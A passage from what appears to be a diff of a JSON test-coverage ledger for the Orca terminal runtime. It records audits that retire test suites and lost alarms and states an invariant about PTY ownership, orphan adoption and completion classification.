src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts: intentionally retire waiting out an older inventory and sharing a fresh post-operation request among concurrent callers. No equivalent replacement or fresh execution is claimed. Dated receipts remain historical evidence for their unchanged selectors only; they do not validate the reduced commands or full current gate. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Delete the complete pure orphan-topology suite and its file membership; preserve the other selectors from its combined command after archiving the original command string. Lost alarms are synthetic current-layout preservation, one-anchor grafting and ambiguous-anchor appending examples. Do not transfer their ownership/topology scope to sibling suites. Preserve all5 independent historical receipts exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked agent-session suite and its prospective selector and aliases. Retire all3 whole dated changed-selector receipts, preserving their original raw objects in historical gaps without transferring counts or durations. Preserve5 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial agent-operation service suite retains only concurrent retry joining with changed-fingerprint conflict. Retire its complete three-title assertion object: old-owner legacy fallback before side effects, nested SSH Pi transcript refusal and completed/ambiguous physical-commit replay fences are no longer backed. Other probe/launch option/ledger/failure/remote-inventory examples disappear as detailed below. No actual provider spawn, live SSH or physical commit proof is retained by this source. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1911: The complete provider PTY-inspection mock suite is removed: missing-provider rejection, stale-PTY renderer unverifiable mapping, preserved supplied renderer failures, and supplied transport-loss mapping alarms are intentionally lost. No actual terminal teardown, daemon error or remote transport was exercised. Only the deleted explicit source tokens, testFile and whole assertionRef are removed. Meaningful remaining source selectors/assertions and unaffected dated receipts retain their original scope. No equivalent replacement, fresh reduced-gate, native/platform/provider, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1495 intentionally deletes the orphan-owner suite: explicit owner/host predicate examples are retired; no equivalent replacement coverage or fresh result is claimed. Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/agent-completion-coordinator-pending-title-inspection.test.ts: Loses obsolete pending title process races, inspection failure suppression, explicit completion precedence and delayed remote inspection alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audits1301 and1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic macOS tests cover controller claims, daemon and SSH/relay operation replay, mixed-version selection, runtime ownership, exact provisional handoff, durable terminal retirement, two independent viewer mirrors, guarded adoption of legacy live PTYs, and completion classification when either the outer remote transport or authoritative host/provider process inspection becomes unreachable. The adoption harness models v1.4.150 agent/setup/shell tabs, current-generation restart and reconnect, exact handle/incarnation/worktree/host checks, topology CAS, competing clients, split-pane/group restoration, WSL ownership, and SSH owner rejection. The secondary parity repro runs independent clients against one headless remote Orca runtime over encrypted pairing and a real daemon-backed PTY, with tokened fixture-process identity separated from unrelated Codex app-server startup probes. The automated primary topology runs an isolated headed macOS Orca desktop server plus a separate paired web client and proves viewer-local fresh/resume focus, exact legacy placement, writable PTYs, unrelated-terminal survival, and host/client cleanup. SSH coverage is provider/relay contract and fault-injection coverage only; it does not substitute for paired-server coverage. Live Windows, Linux, WSL, SSH, and physical paired-Linux hosts remain gaps. The isolated intent-owner ledger suite was removed. web-runtime-session.test.ts retains exact post-create handoff confirmation only; its previous fresh/resume presentation and publication-replay assertions are no longer current references. Those direct owner-partition, cap and RPC/focus alarms are lost; other agent-session evidence does not establish equivalence. Structured handoff and adopted-leaf focus references now point to their dedicated surviving fixtures. Mixed-version recovery retains actual old-host recovery followed by a new CLI tab; its unsupported/missing-evidence tables are removed. Orphan recovery retains in-flight adoption-conflict serialization only; previous topology/pruning and absence/adoption examples are removed. These removed projection, capability and adoption-shape alarms are lost; retained cases do not replace them. Audit1301: src/renderer/src/runtime/remote-runtime-session-tabs-inflight.test.ts reduced. Direct dedupe eviction/count and equal receipt-position sample loses authored alarm. No equivalent replacement coverage is claimed. Audit1308: src/renderer/src/runtime/web-session-tabs-sync-agent-handoff.test.ts removed. Exact provisional replacement and post-create exit confirmation handoff pipeline alarms disappear. No equivalent replacement coverage is claimed. Audit1313: src/main/runtime/terminal-orphan-topology.test.ts: Retain actual topology merge algorithms preserving disjoint subtrees and grafted/ambiguous shared anchors with independent expected trees. Remove duplicate leaf validator and empty/no-change passthrough examples. Lose basic validation and no-group/noop characterization; no renderer layout proof. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1342: src/renderer/src/components/terminal-pane/pty-connection-completion-and-notification.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. The entire remote-agent-session-host-authority.integration.test.ts is deliberately retired. Its independent-client canonical owner and retry/concurrent no-second-physical-PTY alarms are lost without equivalent replacement. The retained terminal-retirement TEST still owns its exact split-leaf/stale-topology refusal and delayed older-incarnation exit alarms; its early-exit replacement, persistence-admission filtering and durable-flush-failure alarms are deliberately lost. No new multi-client/physical-PTY, native, remote, mobile, cross-platform or whole-gate result is claimed. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed. Settings-host12 TEST policy additionally retires tests/e2e/remote-terminal-tab-retirement.unit.test.ts: loses permanent host exit retirement in simultaneous viewers and stale snapshot/replay resurrection protection. The callback composed runtime publication and synthetic viewer reducers with exact flush/publication work counts. No replacement or equivalent coverage is claimed; prior receipts remain historical and apply only to their original selectors. Module-layout cleanup: Removed exact-leaf/viewer-choice focus-intent TEST alarms and the old-host recovery TEST alarm for preserving a newly created CLI tab across stream/list ordering. No replacement coverage or new execution is claimed; dated receipts describe their original runs.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/8878", "https://github.com/stablyai/orca/issues/9151", @@ -6704,43 +5960,32 @@ "https://github.com/stablyai/orca/pull/10193" ], "invariant": "For every claim-capable execution route, one provider-session identity has at most one live PTY owner and one canonical host surface across concurrent clients, retries, reconnects, and stale publications. For paired structured fresh and resume requests, the authenticated owning runtime creates in background without a renderer window; activate=true focuses the exact requested leaf only on the requesting viewer, while activate=false changes no viewer focus. A live orphan may be adopted only when the controller proves its exact handle and incarnation, its worktree and host owner match, no competing visual owner exists, and a host topology CAS wins. A viewer may classify completion only from successful host/provider inspection or explicit lifecycle evidence; transport, handle, or provider unavailability remains unknown and breaks any consecutive-idle proof. A physical exit retires that exact incarnation durably so stale client state and host restart cannot recreate it. Mixed-version routes select the unchanged legacy request before any authority side effect or execution-owner-local filesystem access.", - "oracle": "Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Shared agent/chat layout cleanup retires the remaining mocked agent-session operation-ledger registration: concurrent-retry joining, changed-fingerprint conflicts and exact createTerminal call count. Its active command token and test-file entry are removed. Prior evidence remains historical; no equivalent replacement or fresh gate coverage is claimed. Prior account: Audit5922 intentionally retires Gemini interrupt versus Codex navigation classification and command-finished cleanup arbitration under supplied status/transport; the retained completion wrapper loses exactly two finite arbitration cases while its other registration factories remain. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. The Codex restart suite and exact command/testFiles/assertionRef are removed; its mock account-change/remote-pane restart alarms are intentionally lost. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3368 retires the whole host-session-launch unit source, including host-authority/create/ensure/legacy/Kimi/refusal/draft/options/prompt/cancel/kill/shared-disconnect and passive-sleep output callback alarms, without equivalent replacement. Its unit command token and test-file entry retire. Five unrelated macOS receipts remain verbatim and keep only their original scope; no fresh changed-selector/runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires the whole create-handoff suite. Supplied disposition, late completion, close-callback and metadata-bookkeeping alarms are intentionally lost without equivalent replacement; the compound unit selector and test-file entry narrow accordingly. Five unrelated macOS receipts retain their original scope. No fresh runtime, process-deduplication, physical provider/network, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit2694 source-only review: Remove14 authored/14 expanded cases in the renderer completion wrapper family, including the complete bell/query-reply/stale-input factory, without replacement. Retain29 authored/34 expanded cases with unchanged callback bodies. Three removals are the existing pending2203 overlap and must be adopted/count-reconciled once; eleven are fresh removals. No current-source runtime or gate execution is supplied by this packet; dated evidence retains its original source scope and does not validate the reduced factory bytes. No equivalent replacement, physical provider, mixed-version, mobile, rendered UI, cross-platform, soak or measured-performance result is claimed. The existing command and testFiles selector retain tests/pty-connection-completion-and-notification.test.ts; no wrapper-specific assertionRef is removed. Historical selector results do not validate its changed reachable factories. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Delete the complete pure orphan-topology suite and its file membership; preserve the other selectors from its combined command after archiving the original command string. Lost alarms are synthetic current-layout preservation, one-anchor grafting and ambiguous-anchor appending examples. Do not transfer their ownership/topology scope to sibling suites. Preserve all5 independent historical receipts exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked agent-session suite and its prospective selector and aliases. Retire all3 whole dated changed-selector receipts, preserving their original raw objects in historical gaps without transferring counts or durations. Preserve5 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial agent-operation service suite retains only concurrent retry joining with changed-fingerprint conflict. Retire its complete three-title assertion object: old-owner legacy fallback before side effects, nested SSH Pi transcript refusal and completed/ambiguous physical-commit replay fences are no longer backed. Other probe/launch option/ledger/failure/remote-inventory examples disappear as detailed below. No actual provider spawn, live SSH or physical commit proof is retained by this source. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1911: The complete provider PTY-inspection mock suite is removed: missing-provider rejection, stale-PTY renderer unverifiable mapping, preserved supplied renderer failures, and supplied transport-loss mapping alarms are intentionally lost. No actual terminal teardown, daemon error or remote transport was exercised. Only the deleted explicit source tokens, testFile and whole assertionRef are removed. Meaningful remaining source selectors/assertions and unaffected dated receipts retain their original scope. No equivalent replacement, fresh reduced-gate, native/platform/provider, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Race independent clients and repeated operation IDs, then assert one physical spawn and one canonical PTY/surface; inject exit-before-reply, provider disconnect, conflicting claim scope, old daemon/relay capabilities, reused handles, stale incarnations, owner mismatch, and topology revision conflict; assert safe adoption or explicit failure without a second spawn or wrong-process attachment. Run fresh/resume with activate true/false against an isolated headed desktop host and a separate paired client, then against isolated headless serve: assert host presentation stays background, only the requesting viewer focuses the exact leaf, inactive calls preserve client/DOM focus, a same-version publication replay cannot lose focus intent, and sibling-first split publication cannot consume exact-leaf intent. Restore legacy split panes and groups beside a newer host-owned tab, preserving exact predecessor/new/successor order, output, input, resize, titles, tab/leaf identity, active group, and multi-client convergence. For completion, drive a known running agent through outer transport loss, authoritative provider rejection, reconnect, explicit stop, real exit status, and successful hook completion; assert unavailable evidence never dispatches completion and two fresh authoritative idle samples are required after the gap. After exact exit, assert terminal and tab listings omit the surface, a stale publication cannot restore it, restart cannot resurrect it, exact tokened fixture PIDs are dead, and unrelated tabs/processes survive until scoped cleanup. Settings-host12 TEST policy additionally retires tests/e2e/remote-terminal-tab-retirement.unit.test.ts: loses permanent host exit retirement in simultaneous viewers and stale snapshot/replay resurrection protection. The callback composed runtime publication and synthetic viewer reducers with exact flush/publication work counts. No replacement or equivalent coverage is claimed; prior receipts remain historical and apply only to their original selectors.", + "oracle": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Shared agent/chat layout cleanup retires the remaining mocked agent-session operation-ledger registration: concurrent-retry joining, changed-fingerprint conflicts and exact createTerminal call count. Its active command token and test-file entry are removed. Prior evidence remains historical; no equivalent replacement or fresh gate coverage is claimed. Prior account: Audit5922 intentionally retires Gemini interrupt versus Codex navigation classification and command-finished cleanup arbitration under supplied status/transport; the retained completion wrapper loses exactly two finite arbitration cases while its other registration factories remain. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, 